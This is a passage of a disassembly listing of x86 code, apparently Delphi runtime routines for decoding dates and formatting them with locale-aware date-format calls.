		mov	eax, ds:off_41DC04
		call	sub_404B80
		mov	eax, [ebp+var_C]
		call	sub_406CBC

loc_407EDA:				; CODE XREF: sub_407E90+33j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_407EF7

loc_407EE7:				; CODE XREF: CODE:00407EF5j
		lea	eax, [ebp+var_C]
		call	sub_4034C8
		retn
sub_407E90	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407EF0:				; DATA XREF: sub_407E90+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_407EE7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407EF7:				; DATA XREF: sub_407E90+52o
		fld	qword ptr [ebp-8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407F04	proc near		; CODE XREF: sub_408048+13p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_0]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		call	sub_407C08
		mov	ecx, [ebp+var_14]
		test	ecx, ecx
		jg	short loc_407F4F
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	0
		mov	eax, [ebp+var_8]
		mov	word ptr [eax],	0
		mov	eax, [ebp+var_C]
		mov	word ptr [eax],	0
		mov	word ptr [ebx],	0
		jmp	loc_40803D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407F4F:				; CODE XREF: sub_407F04+27j
		mov	eax, ecx
		mov	esi, 7
		cdq
		idiv	esi
		mov	[ebx], dx
		dec	ecx
		mov	bx, 1
		cmp	ecx, 23AB1h
		jl	short loc_407F7C

loc_407F69:				; CODE XREF: sub_407F04+76j
		sub	ecx, 23AB1h
		add	bx, 190h
		cmp	ecx, 23AB1h
		jge	short loc_407F69

loc_407F7C:				; CODE XREF: sub_407F04+63j
		lea	eax, [ebp+var_E]
		push	eax
		lea	eax, [ebp+var_10]
		mov	dx, 8EACh
		xchg	eax, ecx
		call	sub_406CA0
		cmp	[ebp+var_10], 4
		jnz	short loc_407F9E
		dec	[ebp+var_10]
		add	[ebp+var_E], 8EACh

loc_407F9E:				; CODE XREF: sub_407F04+8Ej
		imul	ax, [ebp+var_10], 64h
		add	bx, ax
		lea	eax, [ebp+var_E]
		push	eax
		lea	ecx, [ebp+var_10]
		movzx	eax, [ebp+var_E]
		mov	dx, 5B5h
		call	sub_406CA0
		mov	ax, [ebp+var_10]
		shl	eax, 2
		add	bx, ax
		lea	eax, [ebp+var_E]
		push	eax
		lea	ecx, [ebp+var_10]
		movzx	eax, [ebp+var_E]
		mov	dx, 16Dh
		call	sub_406CA0
		cmp	[ebp+var_10], 4
		jnz	short loc_407FE9
		dec	[ebp+var_10]
		add	[ebp+var_E], 16Dh

loc_407FE9:				; CODE XREF: sub_407F04+D9j
		add	bx, [ebp+var_10]
		mov	eax, ebx
		call	sub_407D8C
		and	eax, 7Fh
		lea	eax, [eax+eax*2]
		lea	edx, unk_41C0D4[eax*8]
		mov	ax, 1

loc_408005:				; CODE XREF: sub_407F04+120j
		movzx	ecx, ax
		mov	cx, [edx+ecx*2-2]
		mov	[ebp+var_10], cx
		mov	cx, [ebp+var_E]
		cmp	cx, [ebp+var_10]
		jb	short loc_408026
		mov	cx, [ebp+var_10]
		sub	[ebp+var_E], cx
		inc	eax
		jmp	short loc_408005
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408026:				; CODE XREF: sub_407F04+115j
		mov	edx, [ebp+var_4]
		mov	[edx], bx
		mov	edx, [ebp+var_8]
		mov	[edx], ax
		mov	ax, [ebp+var_E]
		inc	eax
		mov	edx, [ebp+var_C]
		mov	[edx], ax

loc_40803D:				; CODE XREF: sub_407F04+46j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_407F04	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408048	proc near		; CODE XREF: sub_4081BC+2Ap

var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2]
		push	eax
		mov	eax, esi
		call	sub_407F04
		pop	esi
		pop	ecx
		pop	ebp
		retn	8
sub_408048	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408068	proc near		; CODE XREF: sub_4084A8+293p
					; sub_4084A8+2B7p ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8]
		call	sub_407C08
		mov	eax, [ebp+var_4]
		mov	ecx, 7
		cdq
		idiv	ecx
		mov	eax, edx
		inc	eax
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_408068	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_408090	proc near		; CODE XREF: sub_412A08+4Fp start+7D4p

var_24		= qword	ptr -24h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_8		= qword	ptr -8

		add	esp, 0FFFFFFE0h
		lea	eax, [esp+20h+var_18]
		push	eax
		call	j_GetLocalTime
		mov	cx, [esp+20h+var_12]
		mov	dx, [esp+20h+var_16]
		mov	ax, [esp+20h+var_18]
		call	sub_407E90
		fstp	[esp+20h+var_8]
		wait
		mov	ax, [esp+16h]
		push	eax
		mov	cx, [esp+24h+var_C]
		mov	dx, [esp+24h+var_E]
		mov	ax, [esp+24h+var_10]
		call	sub_407CB8
		fadd	qword ptr [esp+24h+var_C]
		fstp	[esp+24h+var_24]
		wait
		fld	[esp+24h+var_24]
		add	esp, 20h
		retn
sub_408090	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4080E0	proc near		; CODE XREF: sub_408124+15p
					; sub_408144+3Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, 100h
		sub	ebx, [ecx-104h]
		cmp	edx, ebx
		jge	short loc_4080F8
		mov	ebx, edx

loc_4080F8:				; CODE XREF: sub_4080E0+14j
		test	ebx, ebx
		jz	short loc_408116
		mov	edx, [ebp+arg_0]
		mov	edx, [edx-104h]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+edx-100h]
		mov	ecx, ebx
		call	sub_4026B0

loc_408116:				; CODE XREF: sub_4080E0+1Aj
		mov	eax, [ebp+arg_0]
		add	[eax-104h], ebx
		pop	ebx
		pop	ebp
		retn
sub_4080E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408124	proc near		; CODE XREF: sub_4084A8+1B2p
					; sub_4084A8+1DFp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ebx
		call	sub_403724
		mov	edx, eax
		mov	eax, ebx
		call	sub_4080E0
		pop	ecx
		pop	ebx
		pop	ebp
		retn
sub_408124	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408144	proc near		; CODE XREF: sub_4084A8+16Dp
					; sub_4084A8+185p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	4
		mov	[ebp+var_20], esi
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	1
		mov	ecx, offset unk_41C15C
		lea	eax, [ebp+var_10]
		mov	edx, 10h
		call	sub_407700
		mov	edx, eax
		lea	eax, [ebp+var_10]
		call	sub_4080E0
		pop	ecx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408144	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408190	proc near		; CODE XREF: sub_4084A8+142p
					; sub_4084A8+191p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFCh
		mov	edx, [eax]
		jmp	short loc_4081A0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40819E:				; CODE XREF: sub_408190+1Aj
		inc	dword ptr [eax]

loc_4081A0:				; CODE XREF: sub_408190+Cj
		mov	ecx, [eax]
		mov	cl, [ecx]
		mov	ebx, [ebp+arg_0]
		cmp	cl, [ebx-5]
		jz	short loc_40819E
		mov	eax, [eax]
		sub	eax, edx
		inc	eax
		mov	edx, [ebp+arg_0]
		mov	[edx-0Ch], eax
		pop	ebx
		pop	ebp
		retn
sub_408190	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4081BC	proc near		; CODE XREF: sub_4084A8+149p
					; sub_4084A8+198p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax-13h], 0
		jnz	short loc_4081F2
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-12h]
		mov	eax, [ebp+arg_0]
		lea	edx, [eax-10h]
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFF2h
		call	sub_408048
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax-13h], 1

loc_4081F2:				; CODE XREF: sub_4081BC+Aj
		pop	ebp
		retn
sub_4081BC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4081F4	proc near		; CODE XREF: sub_4084A8+2FEp
					; sub_4084A8+3FAp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax-1Dh], 0
		jnz	short loc_408231
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFE4h
		push	eax
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-1Ah]
		mov	eax, [ebp+arg_0]
		lea	edx, [eax-18h]
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFEAh
		call	sub_407D30
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax-1Dh], 1

loc_408231:				; CODE XREF: sub_4081F4+Aj
		pop	ebp
		retn
sub_4081F4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_408234	proc near		; CODE XREF: sub_4084A8+1A9p

var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_E		= word ptr -0Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_118], ecx
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_408386
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_4034C8
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-0Eh]
		mov	[ebp+var_14], ax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-10h]
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-12h]
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_40839C
		call	sub_403560
		push	100h
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_4038E8
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		call	j_GetThreadLocale_0
		push	eax
		call	j_GetDateFormatA
		test	eax, eax
		jz	loc_408365
		mov	eax, ebx
		lea	edx, [ebp+var_114]
		mov	ecx, 100h
		call	sub_4036F8
		dec	esi
		jnz	loc_408365
		mov	ax, ds:word_41E5AC
		sub	ax, 4
		jz	short loc_408307
		sub	ax, 0Dh
		jnz	short loc_408365
		push	ebx
		mov	eax, [ebx]
		mov	edx, 1
		call	sub_409EA0
		mov	ecx, eax
		mov	eax, [ebx]
		mov	edx, 1
		call	sub_40392C
		jmp	short loc_408365
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408307:				; CODE XREF: sub_408234+AEj
		cmp	ds:word_41E5AE,	1
		jnz	short loc_408365
		mov	eax, [ebx]
		call	sub_403724
		mov	edx, eax
		mov	eax, [ebx]
		call	sub_409D50
		cmp	eax, 4
		jnz	short loc_408365
		mov	eax, [ebx]
		mov	edx, 3
		call	sub_409E3C
		mov	esi, eax
		lea	eax, [ebp+var_114]
		add	esi, eax
		dec	esi
		lea	eax, [ebp+var_118]
		mov	edx, esi
		call	sub_403680
		mov	eax, [ebp+var_118]
		mov	edx, 2
		call	sub_409EA0
		mov	ecx, eax
		mov	eax, ebx
		mov	edx, esi
		call	sub_4035B0

loc_408365:				; CODE XREF: sub_408234+85j
					; sub_408234+9Ej ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40838D

loc_408372:				; CODE XREF: CODE:0040838Bj
		lea	eax, [ebp+var_118]
		call	sub_4034C8
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_408234	endp ; sp = -128h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408386:				; DATA XREF: sub_408234+1Do
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_408372
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40838D:				; DATA XREF: sub_408234+139o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 2
dword_40839C	dd 6767h		; DATA XREF: sub_408234+53o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4083A0	proc near		; CODE XREF: sub_4084A8+1D6p

var_114		= byte ptr -114h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_E		= word ptr -0Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEECh
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40847E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_4034C8
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-0Eh]
		mov	[ebp+var_14], ax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-10h]
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax-12h]
		mov	[ebp+var_E], ax
		cmp	esi, 2
		jg	short loc_4083FE
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_408494
		call	sub_403560
		jmp	short loc_40840B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4083FE:				; CODE XREF: sub_4083A0+4Dj
		lea	eax, [ebp+var_4]
		mov	edx, offset aYyyy ; "yyyy"
		call	sub_403560

loc_40840B:				; CODE XREF: sub_4083A0+5Cj
		push	100h
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_4038E8
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		call	j_GetThreadLocale_0
		push	eax
		call	j_GetDateFormatA
		test	eax, eax
		jz	short loc_408468
		mov	eax, ebx
		lea	edx, [ebp+var_114]
		mov	ecx, 100h
		call	sub_4036F8
		dec	esi
		jnz	short loc_408468
		mov	eax, [ebx]
		cmp	byte ptr [eax],	30h
		jnz	short loc_408468
		push	ebx
		mov	eax, [ebx]
		call	sub_403724
		mov	ecx, eax
		dec	ecx
		mov	eax, [ebx]
		mov	edx, 2
		call	sub_40392C

loc_408468:				; CODE XREF: sub_4083A0+93j
					; sub_4083A0+A8j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_408485

loc_408475:				; CODE XREF: CODE:00408483j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_4083A0	endp ; sp = -124h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40847E:				; DATA XREF: sub_4083A0+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_408475
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408485:				; DATA XREF: sub_4083A0+D0o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 2
dword_408494	dd 7979h, 0FFFFFFFFh, 4	; DATA XREF: sub_4083A0+52o
aYyyy		db 'yyyy',0             ; DATA XREF: sub_4083A0+61o
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4084A8	proc near		; CODE XREF: sub_4084A8+2D7p
					; sub_4084A8+2EBp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		push	ebx
		push	esi
		xor	edx, edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_24], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_408BE9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+var_4], 0
		jz	loc_408BCE
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-108h], 2
		jge	loc_408BCE
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax-108h]
		mov	bl, 20h
		mov	[ebp+var_13], 0
		mov	[ebp+var_1D], 0
		mov	[ebp+var_1E], 0
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4084FF:				; CODE XREF: sub_4084A8+717j
		mov	[ebp+var_5], al
		inc	[ebp+var_4]
		mov	al, [ebp+var_5]
		and	eax, 0FFh
		bt	ds:dword_41C104, eax
		jnb	short loc_40852C
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0
		jz	loc_408BC5
		inc	[ebp+var_4]
		mov	bl, 20h
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40852C:				; CODE XREF: sub_4084A8+6Cj
		mov	al, [ebp+var_5]
		mov	edx, eax
		add	dl, 9Fh
		sub	dl, 1Ah
		jnb	short loc_40853B
		sub	al, 20h

loc_40853B:				; CODE XREF: sub_4084A8+8Fj
		mov	edx, eax
		add	dl, 0BFh
		sub	dl, 1Ah
		jnb	short loc_408552
		cmp	al, 4Dh
		jnz	short loc_408550
		cmp	bl, 48h
		jnz	short loc_408550
		mov	al, 4Eh

loc_408550:				; CODE XREF: sub_4084A8+9Fj
					; sub_4084A8+A4j
		mov	ebx, eax

loc_408552:				; CODE XREF: sub_4084A8+9Bj
		and	eax, 0FFh
		add	eax, 0FFFFFFDEh
		cmp	eax, 38h
		ja	loc_408BA6
		mov	al, ds:byte_408570[eax]
		jmp	ds:off_4085A9[eax*4]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
byte_408570	db 0Fh,	4 dup(0), 0Fh, 7 dup(0), 0Dh, 0Ah dup(0), 0Eh
					; DATA XREF: sub_4084A8+BBr
		db 6 dup(0), 0Bh, 0, 0Ch, 5, 3,	0, 2, 6, 4 dup(0), 4, 7
		db 4 dup(0), 8,	9, 4 dup(0), 1,	0Ah
off_4085A9	dd offset loc_408BA6	; DATA XREF: sub_4084A8+C1r
		dd offset loc_4085E9
		dd offset loc_408638
		dd offset loc_408665
		dd offset loc_408692
		dd offset loc_4086F7
		dd offset loc_40879E
		dd offset loc_40889A
		dd offset loc_4088CB
		dd offset loc_4088FC
		dd offset loc_408931
		dd offset loc_408962
		dd offset loc_408ACF
		dd offset loc_408B2D
		dd offset loc_408B43
		dd offset loc_408B59
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4085E9:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+105o
		push	ebp
		call	sub_408190
		pop	ecx
		push	ebp
		call	sub_4081BC
		pop	ecx
		cmp	[ebp+var_C], 2
		jg	short loc_408620
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_E]
		mov	ecx, 64h
		xor	edx, edx
		div	ecx
		mov	eax, edx
		mov	edx, 2
		call	sub_408144
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408620:				; CODE XREF: sub_4084A8+153j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_E]
		mov	edx, 4
		call	sub_408144
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408638:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+109o
		push	ebp
		call	sub_408190
		pop	ecx
		push	ebp
		call	sub_4081BC
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebp
		lea	edx, [ebp+var_24]
		mov	eax, [ebp+var_C]
		call	sub_408234
		pop	ecx
		mov	eax, [ebp+var_24]
		call	sub_408124
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408665:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+10Do
		push	ebp
		call	sub_408190
		pop	ecx
		push	ebp
		call	sub_4081BC
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebp
		lea	edx, [ebp+var_28]
		mov	eax, [ebp+var_C]
		call	sub_4083A0
		pop	ecx
		mov	eax, [ebp+var_28]
		call	sub_408124
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408692:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+111o
		push	ebp
		call	sub_408190
		pop	ecx
		push	ebp
		call	sub_4081BC
		pop	ecx
		mov	eax, [ebp+var_C]
		dec	eax
		sub	eax, 2
		jb	short loc_4086AD
		jz	short loc_4086C3
		jmp	short loc_4086DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4086AD:				; CODE XREF: sub_4084A8+1FFj
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		call	sub_408144
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4086C3:				; CODE XREF: sub_4084A8+201j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	eax, ds:dword_41E50C[eax*4]
		call	sub_408124
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4086DD:				; CODE XREF: sub_4084A8+203j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	eax, ds:dword_41E53C[eax*4]
		call	sub_408124
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4086F7:				; CODE XREF: sub_4084A8+C1j
					; DATA XREF: sub_4084A8+115o
		push	ebp
		call	sub_408190
		pop	ecx
		mov	eax, [ebp+var_C]
		dec	eax
		sub	eax, 2
		jb	short loc_408711
		jz	short loc_40872E
		dec	eax
		jz	short loc_408752
		dec	eax
		jz	short loc_408776
		jmp	short loc_40878A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408711:				; CODE XREF: sub_4084A8+25Dj
		push	ebp
		call	sub_4081BC
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_12]
		mov	edx, [ebp+var_C]
		call	sub_408144
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40872E:				; CODE XREF: sub_4084A8+25Fj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		call	sub_408068
		mov	eax, ds:dword_41E56C[eax*4]
		call	sub_408124
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408752:				; CODE XREF: sub_4084A8+262j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		call	sub_408068
		mov	eax, ds:dword_41E588[eax*4]
		call	sub_408124
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_408776:				; CODE XREF: sub_4084A8+265j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_41E4F4
		call	sub_4084A8
		pop	ecx
		jmp	loc_408BB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40878A:				; CODE XREF: sub_4084A8+267j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_41E4F8
		call	sub_4084A8
		pop	ecx
